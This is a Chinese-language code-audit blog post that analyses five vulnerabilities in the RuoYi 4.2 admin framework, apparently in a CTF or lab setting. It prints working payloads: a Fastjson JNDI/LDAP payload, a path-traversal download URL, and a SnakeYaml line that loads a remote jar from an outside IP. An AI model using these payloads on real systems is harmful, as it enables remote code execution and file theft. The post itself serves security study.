【代码审计】RuoYi-4.2 五处安全问题分析

目录

Fastjson反序列化

Shiro反序列化

SQL注入

任意文件下载

定时任务命令执行


Fastjson反序列化

看到Fastjson版本号为1.2.60

全局搜.parseObject(

传参方式要注意一下,是对传入的Params先toJSONString,再parseObject

此外要过掉第一个if

GenConstants.TPL_TREE的值为"tree"

则要让genTable.getTplCategory()的值为"tree"

所以要这么设置下

validateEdit在/tool/gen/edit被调用

这个接口一眼顶真,锁定生成代码这部分功能点

先随便导入一个模块,点击编辑

成功抓上包

打入payload:

复制代码
params[@type]=org.apache.shiro.jndi.JndiObjectFactory&params[resourceName]=ldap://8.138.38.81:1338/#suibian

从1.2.25开始fastjson默认禁用autotype,方便起见我们改下代码

复制代码
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

此外jdk版本要小于8u121,Java 8u121+ 默认禁用了LDAP的远程代码加载

Shiro反序列化

存在shiro组件

依然硬编码密钥

勾选下AES GCM

成功RCE

SQL注入

项目用的是mybatis

全局搜${

后续过程和3.0版本的一致

【代码审计】RuoYi-3.0 三处安全问题分析

任意文件下载

/common/download路由被修了

/common.download/resource未做waf

但StringUtils.substringAfter截取Constants.RESOURCE_PREFIX之后的部分

即截取/profile后的部分

所以要这么构造

复制代码
/common/download/resource?resource=/profile/../../../../../../flag.txt

定时任务命令执行

关注定时任务功能点

本质是打个SPI

之前写过一篇文章:【Web】浅浅地聊SnakeYaml反序列化两条常见利用链

解析yaml用的是snakeyaml

复制代码
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://8.138.38.81:1337/yaml-payload.jar"]]]]')
相关推荐
CoderYanger几秒前
递归、搜索与回溯-记忆化搜索:38.最长递增子序列
java·算法·leetcode·1024程序员节
面试鸭6 分钟前
科大讯飞,你好大方。。。
java·计算机·职场和发展·求职招聘
韩立学长39 分钟前
【开题答辩实录分享】以《智慧物业管理系统的设计与实现》为例进行答辩实录分享
java·后端·mysql
10km43 分钟前
java:json-path支持fastjson作为JSON解析提供者的技术实现
java·json·fastjson·json-path
小张程序人生1 小时前
深入理解SpringSecurity从入门到实战
java
d***95621 小时前
springboot接入deepseek深度求索 java
java·spring boot·后端
CoderYanger1 小时前
C.滑动窗口-越短越合法/求最长/最大——2958. 最多 K 个重复元素的最长子数组
java·数据结构·算法·leetcode·哈希算法·1024程序员节
洞窝技术1 小时前
Redis 4.0 升级至 5.0 实施手册
java·redis
无代码专家2 小时前
设备巡检数字化解决方案:构建高效闭环管理体系
java·大数据·人工智能
tanxiaomi2 小时前
Redisson分布式锁 和 乐观锁的使用场景
java·分布式·mysql·面试